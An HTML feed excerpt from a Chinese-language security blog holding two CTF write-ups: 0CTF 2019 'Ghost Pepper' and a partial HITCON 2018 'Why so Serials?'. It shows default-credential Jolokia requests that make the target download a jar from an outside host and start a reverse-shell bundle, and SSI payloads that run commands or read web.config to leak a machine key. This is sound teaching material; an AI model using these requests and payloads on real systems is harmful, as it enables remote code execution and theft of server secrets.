<p>&#x9EDE;&#x958B;&#x7DB2;&#x9801;&#x51FA;&#x73FE;&#x6388;&#x6B0A;</p>]]></description><link>https://cyku.tw/ctf-0ctf-tctf-2019-quals/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340c</guid><category><![CDATA[Web Security]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Mon, 25 Mar 2019 08:38:56 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x592A;&#x4E45;&#x6C92;&#x5BEB;&#x6587;&#x7AE0;&#xFF0C;&#x5FEB;&#x901F;&#x8A18;&#x9304;&#x4E00;&#x6B21;&#x7C21;&#x55AE;&#x7684; Web &#x984C;&#x76EE;&#x3002;</p>
<p>&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code>Do you know ghost pepper? Let&apos;s eat. http://111.186.63.207:31337
</code></pre>
<p>&#x9EDE;&#x958B;&#x7DB2;&#x9801;&#x51FA;&#x73FE;&#x6388;&#x6B0A;&#x8981;&#x6C42;&#x8996;&#x7A97;&#xFF0C;&#x7DB2;&#x7AD9;&#x8A0A;&#x606F;&#x63D0;&#x793A;:&#x300C;karaf&#x300D;&#xFF0C;&#x76F4;&#x89BA;&#x731C;&#x9810;&#x8A2D;&#x5E33;&#x5BC6; karaf/karaf&#xFF0C;&#x5373;&#x53EF;&#x6210;&#x529F;&#x901A;&#x904E;&#x6388;&#x6B0A;&#x9A57;&#x8B49;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_01.png" alt="0ctf_2019_quals_ghost_pepper_01" loading="lazy"></p>
<p>&#x4F46;&#x662F;&#x9032;&#x53BB;&#x5F8C;&#xFF0C;&#x9801;&#x9762;&#x986F;&#x793A; HTTP 404&#xFF0C;&#x5FEB;&#x901F;&#x731C;&#x6E2C;&#x4E00;&#x4E9B;&#x5E38;&#x898B;&#x8DEF;&#x5F91;&#x90FD;&#x7121;&#x679C;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_02.png" alt="0ctf_2019_quals_ghost_pepper_02" loading="lazy"></p>
<p>&#x56DE;&#x60F3;&#x8D77;&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x63D0;&#x5230;&#x300C;ghost pepper&#x300D;&#xFF0C;&#x4E1F;&#x5230; Google &#x641C;&#x5C0B;&#xFF0C;&#x7B2C;&#x4E00;&#x7B46;&#x7D50;&#x679C;&#x70BA;&#x7DAD;&#x57FA;&#x767E;&#x79D1;&#x300C;Bhut jolokia - Wikipedia&#x300D;&#xFF0C;Bhut Jolokia &#x662F;&#x4E00;&#x7A2E;&#x7A31;&#x70BA;&#x5370;&#x5EA6;&#x9B3C;&#x6912;&#x7684;&#x8FA3;&#x6912;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_03.png" alt="0ctf_2019_quals_ghost_pepper_03" loading="lazy"></p>
<p>&#x65BC;&#x662F;&#x5617;&#x8A66;&#x8F38;&#x5165;&#x7DB2;&#x5740; <code>http://111.186.63.207:31337/jolokia</code>&#xFF0C;&#x51FA;&#x73FE;&#x4E86;&#x4E00;&#x4E32; JSON &#x8CC7;&#x6599;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_04.png" alt="0ctf_2019_quals_ghost_pepper_04" loading="lazy"></p>
<p>&#x770B;&#x4F86;&#x662F;&#x500B; Jolokia &#x7684;&#x670D;&#x52D9;&#xFF0C;&#x95DC;&#x65BC; Jolokia &#x7684;&#x4ECB;&#x7D39;&#x53EF;&#x4EE5;&#x53C3;&#x8003;&#x5B98;&#x65B9;&#x6587;&#x4EF6;&#x6216;&#x662F;&#x53EF;&#x4EE5;&#x5728;&#x7DB2;&#x8DEF;&#x4E0A;&#x627E;&#x5230;&#x4E00;&#x4E9B;&#x4E2D;&#x6587;&#x7FFB;&#x8B6F;&#x8CC7;&#x6599;&#x3002;</p>
<ul>
<li><a href="https://jolokia.org/reference/html/index.html">Jolokia - Reference Documentation</a></li>
<li><a href="http://huazx.github.io/Jolokia/reference/">Jolokia - &#x53C2;&#x8003;&#x624B;&#x518C;</a></li>
<li><a href="https://www.jianshu.com/p/bfc5a8e73ca9">Jolokia &#x6559;&#x7A0B; - part1&#xFF08;&#x7FFB;&#x8BD1;&#xFF09;</a></li>
</ul>
<p>&#x5C0D;&#x65BC; Jolokia &#x66FE;&#x7D93;&#x6709;&#x4E9B; CVE &#x53EF;&#x4EE5;&#x76F4;&#x63A5; RCE&#xFF0C;&#x4F46;&#x9019;&#x984C;&#x76EE;&#x7684;&#x7248;&#x672C;&#x5DF2;&#x7D93;&#x4FEE;&#x5FA9;&#x4E86;&#x3002;</p>
<ul>
<li><a href="https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html">Remote Code Execution via JNDI injection<br>
CVE-2018-1000130</a></li>
<li><a href="https://www.anquanke.com/post/id/103016">Exploiting Jolokia Agent with Java EE Servers</a></li>
</ul>
<p>&#x6240;&#x4EE5;&#x9700;&#x8981;&#x5C0B;&#x627E;&#x65B0;&#x65B9;&#x5411;&#xFF0C;&#x53EF;&#x4EE5;&#x5148;&#x4F7F;&#x7528; <code>http://111.186.63.207:31337/jolokia/list</code> &#x5217;&#x51FA;&#x80FD;&#x64CD;&#x4F5C;&#x7684; MBean&#xFF0C;&#x4E5F;&#x8A31;&#x6703;&#x627E;&#x5230;&#x4E9B;&#x6709;&#x8DA3;&#x7684; Operation&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_05.png" alt="0ctf_2019_quals_ghost_pepper_05" loading="lazy"></p>
<p>&#x5176;&#x4E2D;&#x6709;&#x500B; MBean <code>org.apache.karaf:name=root,type=bundle</code> &#x4E0B;&#x7684; Operation <code>install</code> &#x5438;&#x5F15;&#x5230;&#x4E86;&#x6211;&#x7684;&#x6CE8;&#x610F;&#xFF0C;&#x4F3C;&#x4E4E;&#x53EF;&#x4EE5;&#x8B93;&#x6211;&#x5B89;&#x88DD;&#x4E00;&#x500B; OSGi Bundle (jar file)&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_07.png" alt="0ctf_2019_quals_ghost_pepper_07" loading="lazy"></p>
<p>&#x95DC;&#x65BC; OSGi&#x3001;karaf&#x3001;bundle &#x53EF;&#x53C3;&#x8003;&#xFF1A;</p>
<ul>
<li><a href="https://www.sdnlab.com/community/question/62">&#x90A3;&#x4F4D;&#x4EC1;&#x5144;&#x80FD;&#x89E3;&#x91CA;&#x4E00;&#x4E0B;&#x4EC0;&#x4E48;&#x662F;OSGi&#xFF0C;&#x8FD8;&#x6709;Karaf | SDNLAB&#x77E5;&#x8BC6;&#x793E;&#x533A;</a></li>
<li><a href="https://zh.wikipedia.org/wiki/OSGi">OSGi - Wikipedia</a></li>
</ul>
<p>&#x9996;&#x5148;&#x5617;&#x8A66;&#x662F;&#x5426;&#x652F;&#x63F4; HTTP &#x5354;&#x5B9A;&#x5230;&#x9060;&#x7AEF;&#x4F3A;&#x670D;&#x5668;&#x6293;&#x53D6; Bundle (jar) &#x6A94;&#x6848;&#x3002;</p>
<pre><code>POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 181
Authorization: Basic a2FyYWY6a2FyYWY=

{
    &quot;type&quot; : &quot;exec&quot;,
    &quot;mbean&quot; : &quot;org.apache.karaf:name=root,type=bundle&quot;,
    &quot;operation&quot;: &quot;install(java.lang.String)&quot;,
    &quot;arguments&quot;: [&quot;http://ip/gg.jar&quot;]
}
</code></pre>
<p><img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_08.png" alt="0ctf_2019_quals_ghost_pepper_08" loading="lazy"></p>
<p>&#x6210;&#x529F;&#x6536;&#x5230;&#x4E00;&#x500B; HTTP &#x8ACB;&#x6C42;&#xFF0C;&#x78BA;&#x5BE6;&#x652F;&#x63F4;&#x4E14;&#x770B;&#x4F86;&#x6C92;&#x6709;&#x5C0D;&#x5916;&#x9023;&#x7DDA;&#x7684;&#x9650;&#x5236;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_09.png" alt="0ctf_2019_quals_ghost_pepper_09" loading="lazy"></p>
<p>&#x63A5;&#x8457;&#x5C31;&#x53EF;&#x4EE5;&#x958B;&#x59CB;&#x64B0;&#x5BEB;&#x60E1;&#x610F;&#x7684; bundle (jar) &#x6A94;&#xFF0C;&#x6211;&#x53C3;&#x8003;&#x4E86;&#x6B64;&#x7BC7;&#x6587;&#x7AE0; <a href="https://www.javaworld.com/article/2077837/java-se-hello-osgi-part-1-bundles-for-beginners.html?page=2">Hello, OSGi, Part 1: Bundles for beginners</a>&#xFF0C;&#x7528; Eclipse &#x5FEB;&#x901F;&#x5EFA;&#x7ACB;&#x4E86;&#x4E00;&#x500B; OSGi Bundle example&#xFF0C;&#x63A5;&#x8457;&#x5728; Activator.java &#x4E2D;&#x7684; <code>void start(BundleContext context)</code> &#x5BEB;&#x5165;&#x4E00;&#x500B; Reverse Shell &#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x9019;&#x500B;&#x51FD;&#x5F0F;&#x5C07;&#x6703;&#x5728; Bundle &#x88AB; start &#x6642;&#x547C;&#x53EB;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_10.png" alt="0ctf_2019_quals_ghost_pepper_10" loading="lazy"></p>
<p>Reverse Shell &#x53C3;&#x8003;&#xFF1A;<br>
<a href="https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0">GitHubGist - caseydunham/C.java</a></p>
<p>&#x5C07;&#x64B0;&#x5BEB;&#x597D;&#x7684; Bundle &#x532F;&#x51FA;&#x6210;&#x55AE;&#x7368;&#x7684; jar &#x6A94;&#xFF0C;&#x518D;&#x6B21;&#x547C;&#x53EB; <code>org.apache.karaf:name=root,type=bundle</code> &#x7684; <code>install</code> &#x9032;&#x884C;&#x5B89;&#x88DD;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E0B;&#x5716;&#x4E2D;&#xFF0C;&#x76EE;&#x6A19;&#x4F3A;&#x670D;&#x5668;&#x6210;&#x529F;&#x4F86;&#x6293;&#x53D6;&#x5230; jar &#x6A94;&#x6848;&#xFF0C;&#x63A5;&#x8457;&#x56DE;&#x8986;&#x4E86;&#x5B89;&#x88DD;&#x597D;&#x7684; Bundle &#x7684; id &#x70BA; 94&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_11.png" alt="0ctf_2019_quals_ghost_pepper_11" loading="lazy"><br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_12.png" alt="0ctf_2019_quals_ghost_pepper_12" loading="lazy"></p>
<p>&#x6700;&#x5F8C;&#x53EA;&#x8981;&#x547C;&#x53EB; <code>org.apache.karaf:name=root,type=bundle</code> &#x7684; <code>start</code> &#x555F;&#x52D5;&#x8A72; Bundle&#xFF0C;&#x5C31;&#x80FD;&#x9806;&#x5229;&#x6536;&#x5230; Reverse Shell&#x3002;</p>
<pre><code>POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 135
Authorization: Basic a2FyYWY6a2FyYWY=

{
    &quot;type&quot; : &quot;exec&quot;,
    &quot;mbean&quot; : &quot;org.apache.karaf:name=root,type=bundle&quot;,
    &quot;operation&quot;: &quot;start&quot;,
    &quot;arguments&quot;: [&quot;94&quot;]
}
</code></pre>
<p><img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_13.png" alt="0ctf_2019_quals_ghost_pepper_13" loading="lazy"></p>
<p>&#x6700;&#x7D42;&#x5F97;&#x5230; flag &#x662F; <strong>flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH}</strong><br>
<img src="https://cyku.tw/content/images/2019/03/0ctf_2019_quals_ghost_pepper_14.png" alt="0ctf_2019_quals_ghost_pepper_14" loading="lazy"></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[HITCON 2018: Why so Serials? Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Why so Serials? &#x662F;&#x7531; Orange &#x5728;&#x524D;&#x9663;&#x5B50;&#x525B;&#x7D50;&#x675F;&#x7684; HITCON CTF 2018 &#x51FA;&#x7684;&#x4E00;&#x9053; Web &#x984C;&#x76EE;&#xFF0C;&#x984C;&#x76EE;&#x67B6;&#x8A2D;&#x5728; Windows/IIS&#xFF0C;&#x5176;&#x529F;&#x80FD;&#x53EA;&#x6709;&#x4E00;&#x500B;&#x9801;&#x9762; Default.aspx&#xFF0C;&#x984C;&#x76EE;&#x6709;&#x63D0;&#x4F9B;</p>]]></description><link>https://cyku.tw/ctf-hitcon-2018-why-so-serials/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340b</guid><category><![CDATA[Web Security]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Thu, 25 Oct 2018 16:04:11 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Why so Serials? &#x662F;&#x7531; Orange &#x5728;&#x524D;&#x9663;&#x5B50;&#x525B;&#x7D50;&#x675F;&#x7684; HITCON CTF 2018 &#x51FA;&#x7684;&#x4E00;&#x9053; Web &#x984C;&#x76EE;&#xFF0C;&#x984C;&#x76EE;&#x67B6;&#x8A2D;&#x5728; Windows/IIS&#xFF0C;&#x5176;&#x529F;&#x80FD;&#x53EA;&#x6709;&#x4E00;&#x500B;&#x9801;&#x9762; Default.aspx&#xFF0C;&#x984C;&#x76EE;&#x6709;&#x63D0;&#x4F9B;&#x539F;&#x59CB;&#x78BC;&#xFF0C;&#x73FE;&#x5728;&#x53EF;&#x4EE5;&#x5728; <a href="https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/why-so-serials/src/Default.aspx">Orange &#x7684; GitHub</a> &#x4E0A;&#x627E;&#x5230;&#x3002;</p>
<p>&#x8A72;&#x9801;&#x9762;&#x6709;&#x63D0;&#x4F9B;&#x4E00;&#x500B;&#x4E0A;&#x50B3;&#x529F;&#x80FD;&#xFF0C;&#x4F46;&#x5E7E;&#x4E4E;&#x963B;&#x64CB;&#x4E86;&#x6240;&#x6709;&#x53EF;&#x80FD;&#x76F4;&#x63A5; RCE &#x7684;&#x526F;&#x6A94;&#x540D;&#x3002;</p>
<pre><code>String[] blacklists = {&quot;.aspx&quot;, &quot;.config&quot;, &quot;.ashx&quot;, &quot;.asmx&quot;, &quot;.aspq&quot;, &quot;.axd&quot;, &quot;.cshtm&quot;, &quot;.cshtml&quot;, &quot;.rem&quot;, &quot;.soap&quot;, &quot;.vbhtm&quot;, &quot;.vbhtml&quot;, &quot;.asa&quot;, &quot;.asp&quot;, &quot;.cer&quot;};
if (blacklists.Any(extension.Contains)) {
    Label1.Text = &quot;What do you do?&quot;;
}
</code></pre>
<p>&#x9996;&#x5148;&#x4F86;&#x89C0;&#x5BDF;&#x4E00;&#x4E0B;&#x4E0A;&#x50B3;&#x6A94;&#x6848;&#x767C;&#x51FA;&#x7684; Request&#xFF0C;&#x53EF;&#x4EE5;&#x767C;&#x73FE;&#x6709;&#x555F;&#x7528; <code>__VIEWSTATE</code> &#x4E26;&#x4E14;&#x6C92;&#x6709;&#x52A0;&#x5BC6;&#x3002;&#x7576; Request/Response &#x4E2D;&#x7684; <code>__VIEWSTATE</code> &#x662F;&#x672A;&#x52A0;&#x5BC6;&#x6642;&#xFF0C;Burp Suite &#x6703;&#x5617;&#x8A66; parse &#x5B83;&#x4E26;&#x628A;&#x8CC7;&#x8A0A;&#x986F;&#x793A;&#x5728;&#x4E00;&#x500B;&#x6A19;&#x7C64;&#x9801;&#x4E4B;&#x4E2D;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_01.png" alt="hitcon_ctf_2018_why_so_serials_01" loading="lazy"></p>
<p>&#x82E5;&#x6709;&#x4E0D;&#x77E5;&#x9053; View State &#x7684;&#x670B;&#x53CB;&#x53EF;&#x4EE5;&#x53C3;&#x8003;&#x5FAE;&#x8EDF;&#x5B98;&#x7DB2;&#x7684;&#x4ECB;&#x7D39;&#xFF1A;<a href="https://msdn.microsoft.com/en-us/library/ms972976.aspx">Understanding ASP.NET View State</a></p>
<p>&#x4E00;&#x4EF6;&#x6709;&#x8DA3;&#x7684;&#x4E8B;&#x5BE6;&#x662F; <code>__VIEWSTATE</code> &#x6240;&#x5132;&#x5B58;&#x7684;&#x662F; Serialized Data&#xFF0C;&#x518D;&#x52A0;&#x4E0A;&#x984C;&#x76EE;&#x6709; <code>Serials</code> &#x95DC;&#x9375;&#x5B57;&#xFF0C;&#x5927;&#x81F4;&#x53EF;&#x4EE5;&#x78BA;&#x5B9A;&#x662F;&#x6253; <code>__VIEWSTATE</code> &#x7684; Deserialization&#x3002;&#x91DD;&#x5C0D; ASP.NET &#x7684; Deserialization&#xFF0C;&#x570B;&#x5916;&#x5927;&#x795E; pwntester &#x958B;&#x767C;&#x4E86;&#x4E00;&#x500B;&#x5F88;&#x68D2;&#x7684;&#x958B;&#x6E90;&#x5C08;&#x6848; <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a>&#xFF0C;&#x53EF;&#x4EE5;&#x81EA;&#x52D5;&#x7522;&#x51FA;&#x5F88;&#x591A;&#x6F02;&#x4EAE;&#x7684; Gadget&#xFF0C;&#x76EE;&#x6A19;&#x7576;&#x7136;&#x5C31;&#x662F; RCE&#x3002;</p>
<p>&#x5148;&#x5617;&#x8A66;&#x4FEE;&#x6539; <code>__VIEWSTAET</code> &#x7684;&#x503C;&#x78BA;&#x8A8D;&#x662F;&#x5426;&#x80FD;&#x4EFB;&#x610F;&#x7AC4;&#x6539;&#xFF0C;&#x6211;&#x5617;&#x8A66;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x7684;&#x6587;&#x5B57; <a href="https://github.com/agix/NetBinaryFormatterParser/blob/master/examples/SimpleViewState.b64">Payload</a><br>
<img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_02.png" alt="hitcon_ctf_2018_why_so_serials_02" loading="lazy"></p>
<p>&#x7406;&#x6240;&#x7576;&#x7136;&#x662F;&#x5931;&#x6557;&#x4E86;&#xFF0C;&#x7562;&#x7ADF;&#x662F; Orange &#x6240;&#x51FA;&#x7684;&#x984C;&#x76EE;&#xFF0C;&#x4E0D;&#x53EF;&#x80FD;&#x5982;&#x6B64;&#x55AE;&#x7D14;&#x3002;&#x4F46;&#x8B93;&#x6211;&#x5011;&#x4ED4;&#x7D30;&#x770B;&#x4E00;&#x4E0B;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF1A;</p>
<pre><code>Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that &lt;machineKey&gt; configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
</code></pre>
<p>&#x6703;&#x51FA;&#x73FE;&#x9019;&#x6BB5;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#x7684;&#x539F;&#x56E0;&#x662F; ASP.NET &#x5728; <code>__VIEWSTATE</code> &#x6709;&#x4F5C; MAC (Message Authentication Code) &#x7684;&#x6AA2;&#x67E5;&#xFF0C;&#x5408;&#x6CD5;&#x624D;&#x6703;&#x9032;&#x884C; Deserialize&#xFF0C;&#x6211;&#x5011;&#x90FD;&#x77E5;&#x9053; MAC &#x7684;&#x6AA2;&#x67E5;&#x4E00;&#x5B9A;&#x662F;&#x548C;&#x67D0;&#x500B;&#x85CF;&#x5728;&#x4F3A;&#x670D;&#x5668;&#x7AEF;&#x7684; Key &#x6709;&#x6240;&#x95DC;&#x9023;&#x3002;&#x5728; ASP.NET &#x7684;&#x74B0;&#x5883;&#x4E0B;&#xFF0C;&#x5132;&#x5B58;&#x9019;&#x628A; Key &#x7684;&#x9805;&#x76EE;&#x7A31;&#x70BA; <a href="https://docs.microsoft.com/zh-tw/previous-versions/dotnet/netframework-4.0/w8h3skw9(v%3dvs.100)">Machine Key</a>&#x3002;</p>
<p>&#x81F3;&#x65BC;&#x9019; Machine Key &#x8A72;&#x5982;&#x4F55;&#x7372;&#x5F97;&#x5462;&#xFF1F;&#x984C;&#x76EE;&#x8A2D;&#x8A08;&#x4E86;&#x4E00;&#x500B;&#x95DC;&#x9375;&#xFF0C;&#x524D;&#x9762;&#x4E0A;&#x50B3;&#x6A94;&#x6848;&#x6642;&#x6AA2;&#x67E5;&#x7684;&#x526F;&#x6A94;&#x540D;&#x5217;&#x8868;&#x907A;&#x6F0F;&#x4E86;&#x4E00;&#x500B;&#x683C;&#x5F0F;&#x662F; <code>.shtml</code>&#xFF0C;&#x9019;&#x500B;&#x683C;&#x5F0F;&#x652F;&#x63F4;&#x4E86;&#x4E00;&#x500B;&#x7A31;&#x4F5C; <a href="https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%86%85%E5%B5%8C">Server Side Include</a> &#x7684; feature&#xFF0C;&#x900F;&#x904E;&#x9019;&#x500B; feature &#x8B93;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x9032;&#x884C;&#x4EFB;&#x610F;&#x8B80;&#x6A94;&#x751A;&#x81F3;&#x6709;&#x76F4;&#x63A5; RCE &#x7684;&#x53EF;&#x80FD;&#xFF0C;&#x9019;&#x4E5F;&#x662F;&#x984C;&#x76EE;&#x9810;&#x671F;&#x7684;&#x89E3;&#x6CD5;&#x3002;</p>
<p>&#x4FDD;&#x96AA;&#x8D77;&#x898B;&#xFF0C;&#x8B93;&#x6211;&#x5011;&#x5148;&#x5617;&#x8A66;&#x76F4;&#x63A5; RCE &#x7684; Payload&#xFF0C;&#x679C;&#x4E0D;&#x5176;&#x7136;&#x5931;&#x6557;&#xFF0C;<code>exec</code> &#x6C92;&#x6709;&#x555F;&#x7528;&#x3002;</p>
<pre><code>payload.shtml
&lt;!--#exec cmd=&quot;whoami&quot; --&gt;
</code></pre>
<p><img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_03.png" alt="hitcon_ctf_2018_why_so_serials_03" loading="lazy"></p>
<p>&#x63A5;&#x8457;&#x5617;&#x8A66;&#x8B80;&#x53D6; web.config&#x3002;</p>
<pre><code>payload.shtml:
&lt;!--#include file=&quot;..\..\web.config&quot; --&gt;
</code></pre>
<p>&#x771F;&#x68D2;&#xFF01;&#x662F;&#x6211;&#x5011;&#x671D;&#x601D;&#x66AE;&#x60F3;&#x7684; Machine Key&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_04.png" alt="hitcon_ctf_2018_why_so_serials_04" loading="lazy"></p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;configuration&gt;
&lt;system.web&gt;
&lt;customErrors mode=&quot;Off&quot;/&gt;
    &lt;machineKey validationKey=&quot;b07b0f97365416288cf0247cffdf135d25f6be87&quot; decryptionKey=&quot;6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3&quot; decryption=&quot;DES&quot; validation=&quot;MD5&quot; /&gt;
&lt;/system.web&gt;
&lt;/configuration&gt;
</code></pre>
<p>&#x73FE;&#x5728;&#x6709;&#x4E86; Machine Key &#x548C; RCE Deserialization Gadget&#xFF0C;&#x9084;&#x5DEE;&#x6700;&#x5F8C;&#x4E00;&#x500B;&#x554F;&#x984C;&#xFF0C;&#x7A76;&#x7ADF; MAC &#x662F;&#x5982;&#x4F55;&#x7522;&#x751F;&#x4EE5;&#x53CA;&#x9A57;&#x8B49;&#x7684;&#x5462;&#xFF1F;&#x6211;&#x4E0A;&#x7DB2;&#x7FFB;&#x95B1;&#x4E86;&#x4E00;&#x4E9B;&#x516C;&#x958B;&#x8CC7;&#x6599;&#xFF0C;&#x4F46;&#x6C92;&#x6709;&#x627E;&#x5230;&#x76F8;&#x95DC;&#x7684;&#x6587;&#x7AE0;&#x3002;&#x503C;&#x5F97;&#x6176;&#x5E78;&#x7684;&#x662F;&#xFF0C;&#x5728;&#x5F88;&#x65E9;&#x4E4B;&#x524D;&#x5FAE;&#x8EDF;&#x6709;&#x5C07; <a href="https://referencesource.microsoft.com/">.NET Framework &#x958B;&#x6E90;</a>&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5F88;&#x5BB9;&#x6613;&#x53BB;&#x8FFD;&#x51FA;&#x5BE6;&#x4F5C;&#x9019;&#x584A;&#x7684;&#x7A0B;&#x5F0F;&#x908F;&#x8F2F;&#x3002;&#x9019;&#x908A;&#x6211;&#x53C3;&#x8003;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x662F; .NET 4.7.2 &#x7684;&#x7248;&#x672C;&#x3002;</p>
<p>&#x8B93;&#x6211;&#x5011;&#x5148;&#x5F9E;&#x9032;&#x5165;&#x9EDE;&#x958B;&#x59CB;&#xFF0C;ASP.NET &#x8981;&#x5C07;&#x7269;&#x4EF6;&#x9032;&#x884C; Serialize &#x5132;&#x5B58;&#x5230; <code>__VIEWSTATE</code> &#x4E4B;&#x4E2D;&#x662F;&#x4F9D;&#x9760;&#x51FD;&#x5F0F; <code>ObjectStateFormatter.Serialize(object stateGraph)</code>&#x3002;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5F88;&#x660E;&#x986F;&#x770B;&#x898B;&#x7B2C; 798 &#x884C;&#x7684;&#x8A3B;&#x89E3;&#x6709; <code>EnableViewStateMac</code> &#x95DC;&#x9375;&#x5B57;&#xFF0C;&#x4E26;&#x4E14;&#x8A3B;&#x89E3;&#x4E0B;&#x65B9;&#x547C;&#x53EB;&#x7684;&#x51FD;&#x5F0F;&#x6703;&#x50B3;&#x5165; Serialized Data &#x7684; Binary Buffer &#x4E26;&#x53D6;&#x5F97;&#x65B0;&#x7684; Buffer&#xFF0C;&#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x63A8;&#x6E2C;&#x5BE6;&#x4F5C;&#x908F;&#x8F2F;&#x61C9;&#x8A72;&#x662F;&#x5728; <code>MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length)</code> &#x88E1;&#x9762;&#x3002;</p>
<pre><code class="language-csharp">File: ndp\fx\src\xsp\system\Web\UI\ObjectStateFormatter.cs
756: /// &lt;devdoc&gt;
757: /// Serializes an object graph into a textual serialized form.
758: /// &lt;/devdoc&gt;
759: public string Serialize(object stateGraph) {
760:     // If the developer called Serialize() manually on an ObjectStateFormatter object that was configured
761:     // for cryptographic operations, he wouldn&apos;t have been able to specify a Purpose. We&apos;ll just provide
762:     // a default value for him.
763:     return Serialize(stateGraph, Purpose.User_ObjectStateFormatter_Serialize);
764: }
765: 
766: private string Serialize(object stateGraph, Purpose purpose) {
767:     string result = null;
768: 
769:     MemoryStream ms = GetMemoryStream();
770:     try {
771:         Serialize(ms, stateGraph);
772:         ms.SetLength(ms.Position);
773: 
774:         byte[] buffer = ms.GetBuffer();
775:         int length = (int)ms.Length;
776: 
777: #if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
778:         // We only support serialization of encrypted or encoded data through our internal Page constructors
779: 
780:         if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider &amp;&amp; !_forceLegacyCryptography) {
781:             // If we&apos;re configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
782: 
783:             if (_page != null &amp;&amp; (_page.RequiresViewStateEncryptionInternal || _page.EnableViewStateMac)) {
784:                 Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
785:                 ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
786:                 byte[] protectedData = cryptoService.Protect(ms.ToArray());
787:                 buffer = protectedData;
788:                 length = protectedData.Length;
789:             }
790:         }
791:         else {
792:             // Otherwise go through legacy crypto mechanisms
793: #pragma warning disable 618 // calling obsolete methods
794:             if (_page != null &amp;&amp; _page.RequiresViewStateEncryptionInternal) {
795:                 buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
796:                 length = buffer.Length;
797:             }
798:             // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
799:             else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) {
800:                 buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
801:             }
802: #pragma warning restore 618 // calling obsolete methods
803:         }
804: 
805: #endif // !FEATURE_PAL
806:         result = Convert.ToBase64String(buffer, 0, length);
807:     }
808:     finally {
809:         ReleaseMemoryStream(ms);
810:     }
811:     return result;
812: }
</code></pre>
